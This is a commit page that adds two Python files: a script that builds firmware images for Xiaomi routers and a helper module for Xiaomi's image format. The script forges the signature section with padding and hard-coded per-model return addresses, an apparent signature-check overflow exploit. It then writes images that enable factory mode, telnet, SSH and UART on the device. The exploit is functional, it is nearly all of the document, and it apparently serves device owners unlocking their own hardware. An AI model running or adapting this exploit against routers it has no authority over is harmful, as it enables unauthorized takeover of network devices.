Add support new Xiaomi devices (r3600 and rb03)
parent
0d5bcefea8
commit
c9a4a6d8cd
@ -0,0 +1,117 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import sys
|
||||
import types
|
||||
import platform
|
||||
import ctypes
|
||||
import binascii
|
||||
import re
|
||||
|
||||
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
|
||||
from xqimage import *
|
||||
from gateway import *
|
||||
from read_info import *
|
||||
from envbuffer import *
|
||||
|
||||
|
||||
def i2b(value):
|
||||
return value.to_bytes(4, byteorder='little')
|
||||
|
||||
def build_sign(model, ver):
|
||||
model = model.upper()
|
||||
payload = None
|
||||
if model == "R3G": # TEST
|
||||
poffset = 0x1070
|
||||
payload = b'\x66' * 16 # TEST
|
||||
if model == "RA69":
|
||||
poffset = 0x1070
|
||||
payload = i2b(0x4152A8) + i2b(0) + i2b(0x402634) + i2b(0)
|
||||
if model == "RA70":
|
||||
poffset = 0x1078
|
||||
payload = i2b(0x4152D0) + i2b(0) + i2b(0x40265C) + i2b(0)
|
||||
if model == "RA72":
|
||||
poffset = 0x1078
|
||||
payload = i2b(0x4152E0) + i2b(0) + i2b(0x402630) + i2b(0)
|
||||
if model == "R3600":
|
||||
poffset = 0x1070
|
||||
payload = i2b(0x415290) + i2b(0) + i2b(0x402634) + i2b(0)
|
||||
if model == "RB03":
|
||||
poffset = 0x1078
|
||||
payload = i2b(0x4148B0) + i2b(0) + i2b(0x40263C) + i2b(0)
|
||||
if not payload:
|
||||
die('Payload is not defined for device "{}".'.format(model))
|
||||
# add header of sign section (16 bytes)
|
||||
sign = (poffset + len(payload)).to_bytes(4, byteorder='little') + b'\x00' * 12
|
||||
# add fake sign
|
||||
sign += b'\xEA' * poffset
|
||||
# add payload
|
||||
sign += payload
|
||||
return sign
|
||||
|
||||
|
||||
gw = Gateway(timeout = 4)
|
||||
if gw.status < 1:
|
||||
die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(gw.ip_addr))
|
||||
|
||||
print("device_name =", gw.device_name)
|
||||
print("rom_version = {} {}".format(gw.rom_version, gw.rom_channel))
|
||||
print("MAC Address = {}".format(gw.mac_address))
|
||||
|
||||
signature = build_sign(gw.device_name, gw.rom_version)
|
||||
|
||||
dinfo = DevInfo(gw, verbose = 0, infolevel = 0)
|
||||
syslog = SysLog(gw, timeout = 10, verbose = 1, infolevel = 2)
|
||||
|
||||
syslog.verbose = 2
|
||||
bdata = syslog.parse_bdata()
|
||||
bdata.var['boot_wait'] = "on"
|
||||
bdata.var['uart_en'] = "1"
|
||||
bdata.var['telnet_en'] = "1"
|
||||
bdata.var['ssh_en'] = "1"
|
||||
bdata.var['CountryCode'] = "EU"
|
||||
partname = 'bdata'
|
||||
bdata.mtd = syslog.get_mtd_by_name(partname)
|
||||
if not bdata.mtd:
|
||||
die('MTD partition "{}" not found!'.format(partname))
|
||||
#bdata_env_size = 0x4000
|
||||
bdata_env_size = 0x10000 # fixed size of BData environment buffer
|
||||
bdata.buf = bdata.pack(bdata_env_size)
|
||||
bdata.buf += b'\xFF' * (bdata.mtd.size - len(bdata.buf))
|
||||
bdata.img = XQImage(gw.device_name)
|
||||
bdata.img.add_version(gw.rom_version)
|
||||
bdata.img.add_file(bdata.buf, 'bdata.bin', mtd = bdata.mtd.id)
|
||||
|
||||
partname = 'crash'
|
||||
crash_mtd = syslog.get_mtd_by_name(partname)
|
||||
if not crash_mtd:
|
||||
die('MTD partition "{}" not found!'.format(partname))
|
||||
|
||||
def create_crash_image(mtd, prefix, outfilename):
|
||||
crash = types.SimpleNamespace()
|
||||
crash.mtd = mtd
|
||||
if prefix is None:
|
||||
prefix = b''
|
||||
crash.buf = bytearray(prefix + b'\xFF' * (mtd.size - len(prefix)))
|
||||
crash.img = XQImage(gw.device_name)
|
||||
crash.img.add_version(gw.rom_version)
|
||||
crash.img.add_file(crash.buf, 'crash.bin', mtd = mtd.id)
|
||||
crash.img.save_image(signature, outfilename)
|
||||
print('Created hacked image file: "{}"'.format(outfilename))
|
||||
return crash
|
||||
|
||||
# image for activate "factory mode" via uboot (insert factory_mode=1 into kernel cmdline)
|
||||
fn_crash1 = 'outdir/image_{device}_1_crash.bin'.format(device = gw.device_name)
|
||||
crash1 = create_crash_image(crash_mtd, b'\xA5\x5A\x00\x00', fn_crash1)
|
||||
|
||||
# image for change BData environment
|
||||
bdata.img.save_image(signature, 'outdir/image_{device}_2_bdata.bin'.format(device = gw.device_name))
|
||||
print('Created hacked image file: "{}"'.format(bdata.img.outfilename))
|
||||
|
||||
# image for deactivate "factory mode" via uboot
|
||||
fn_crash3 = 'outdir/image_{device}_3_crash.bin'.format(device = gw.device_name)
|
||||
crash3 = create_crash_image(crash_mtd, None, fn_crash3)
|
||||
|
||||
print("OK_finish")
|
||||
|
@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import sys
|
||||
import types
|
||||
import platform
|
||||
import ctypes
|
||||
import binascii
|
||||
|
||||
|
||||
class XQImgHdr(ctypes.Structure):
|
||||
_fields_ = [("magic", ctypes.c_uint), # HDR1
|
||||
("sign", ctypes.c_uint), # offset of sign block
|
||||
("crc32", ctypes.c_uint), # crc32 check sum
|
||||
("type", ctypes.c_ushort), # ROM type (12 = miwifi_ssh.bin)
|
||||
("model", ctypes.c_short), # device number
|
||||
("files", ctypes.c_uint * 8)] # array of section-offset
|
||||
|
||||
class XQImgFile(ctypes.Structure):
|
||||
_fields_ = [("magic", ctypes.c_ushort), # BE BA
|
||||
("rsvd0", ctypes.c_ushort),
|
||||
("addr", ctypes.c_uint), # Flash Address
|
||||
("size", ctypes.c_uint), # size of file
|
||||
("mtd", ctypes.c_short), # mtd number for flashing
|
||||
("dummy", ctypes.c_short),
|
||||
("name", ctypes.c_char * 32)] # Filename
|
||||
|
||||
xqModelList = [
|
||||
"<unk0>",
|
||||
"<unk1>",
|
||||
"<unk2>",
|
||||
"R1CM", # 3
|
||||
"R2D", # 4
|
||||
"R1CL",
|
||||
"R2CM",
|
||||
"R3",
|
||||
"R3D", # 8
|
||||
"R3L",
|
||||
"R3P", # 10
|
||||
"P01",
|
||||
"R3A",
|
||||
"R3G", # 13
|
||||
"R4",
|
||||
"R4C",
|
||||
"D01",
|
||||
"R4A",
|
||||
"R4CM",
|
||||
"R4AC",
|
||||
"R3GV2", # 20
|
||||
"R2600",
|
||||
"R2100", # 22
|
||||
"RM2100", # 23
|
||||
"R3600", # 24
|
||||
"R1350",
|
||||
"R2200",
|
||||
"R2350", # 27
|
||||
"IR1200G",
|
||||
"R1800",
|
||||
"R2100D", # 30
|
||||
"RA67",
|
||||
"RA69",
|
||||
"RA71",
|
||||
"CR6006", # 34
|
||||
"CR6008",
|
||||
"CR6009",
|
||||
"RA70",
|
||||
"RA75",
|
||||
"RA72",
|
||||
"<unk40>", # 40
|
||||
"<unk41>",
|
||||
"<unk42>",
|
||||
"RA80",
|
||||
"RA81",
|
||||
"RA82",
|
||||
"RA83",
|
||||
"RA74",
|
||||
"<unk48>",
|
||||
"YY01",
|
||||
"RB01", # 50
|
||||
"RB03" # 51
|
||||
]
|
||||
|
||||
def get_modelid_by_name(name):
|
||||
for i, m in enumerate(xqModelList):
|
||||
if m.lower() == name.lower():
|
||||
return i
|
||||
return -1
|
||||
|
||||
|
||||
class XQImage():
|
||||
model = None
|
||||
type = 0
|
||||
header = XQImgHdr()
|
||||
version = None
|
||||
files = [] # list of files
|
||||
|
||||
def __init__(self, model = None, type = 0):
|
||||
self.model = None
|
||||
self.type = 0
|
||||
self.header = XQImgHdr()
|
||||
self.version = None
|
||||
self.files = []
|
||||
if model is None:
|
||||
self.model = None
|
||||
else:
|
||||
if isinstance(model, int):
|
||||
self.model = model
|
||||
else:
|
||||
self.model = get_modelid_by_name(model)
|
||||
self.type = type
|
||||
|
||||
def add_version(self, version, hardware = 0, channel = 'release'):
|
||||
self.version = None
|
||||
if version is None:
|
||||
return
|
||||
data = "config core 'version'\n"
|
||||
data += "\t" + "option ROM '{}'\n".format(version)
|
||||
if channel:
|
||||
data += "\t" + "option CHANNEL '{}'\n".format(channel.lower())
|
||||
if hardware is not None:
|
||||
if isinstance(hardware, int):
|
||||
if hardware == 0 and self.model:
|
||||
hardware = xqModelList[self.model]
|
||||
else:
|
||||
hardware = xqModelList[hardware]
|
||||
data += "\t" + "option HARDWARE '{}'\n".format(hardware.upper())
|
||||
self.version = data.encode('ascii')
|
||||
if len(self.version) & 3 != 0:
|
||||
self.version += b'\x00' * (4 - len(self.version) & 3)
|
||||
self.add_file(self.version, 'xiaoqiang_version')
|
||||
|
||||
def add_file(self, data, name, mtd = None):
|
||||
file = types.SimpleNamespace()
|
||||
file.data = data
|
||||
file.header = XQImgFile()
|
||||
file.header.magic = int.from_bytes(b'\xBE\xBA', byteorder='little')
|
||||
file.header.rsvd0 = 0
|
||||
file.header.addr = 0xFFFFFFFF
|
||||
file.header.size = len(data)
|
||||
file.header.mtd = 0xFFFF if mtd is None else mtd
|
||||
file.header.dummy = 0
|
||||
file.header.name = name.encode('ascii')
|
||||
self.files.append(file)
|
||||
|
||||
def get_image(self, sign):
|
||||
buf = bytearray()
|
||||
self.header = XQImgHdr()
|
||||
self.header.magic = int.from_bytes(b'HDR1', byteorder='little')
|
||||
self.header.sign = 0
|
||||
self.header.crc32 = 0
|
||||
self.header.type = self.type
|
||||
self.header.model = self.model
|
||||
buf += bytes(self.header)
|
||||
for i, f in enumerate(self.files):
|
||||
self.header.files[i] = len(buf)
|
||||
buf += bytes(f.header)
|
||||
buf += f.data
|
||||
self.header.sign = len(buf)
|
||||
buf += sign
|
||||
for i in range(ctypes.sizeof(self.header)):
|
||||
buf[i] = bytes(self.header)[i]
|
||||
self.header.crc32 = 0xFFFFFFFF - binascii.crc32(buf[12:]) # JAMCRC
|
||||
for i in range(12):
|
||||
buf[i] = bytes(self.header)[i]
|
||||
return buf
|
||||
|
||||
def save_image(self, sign, filename):
|
||||
self.outfilename = filename
|
||||
buf = self.get_image(sign)
|
||||
with open(filename, 'wb') as file:
|
||||
file.write(buf)
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue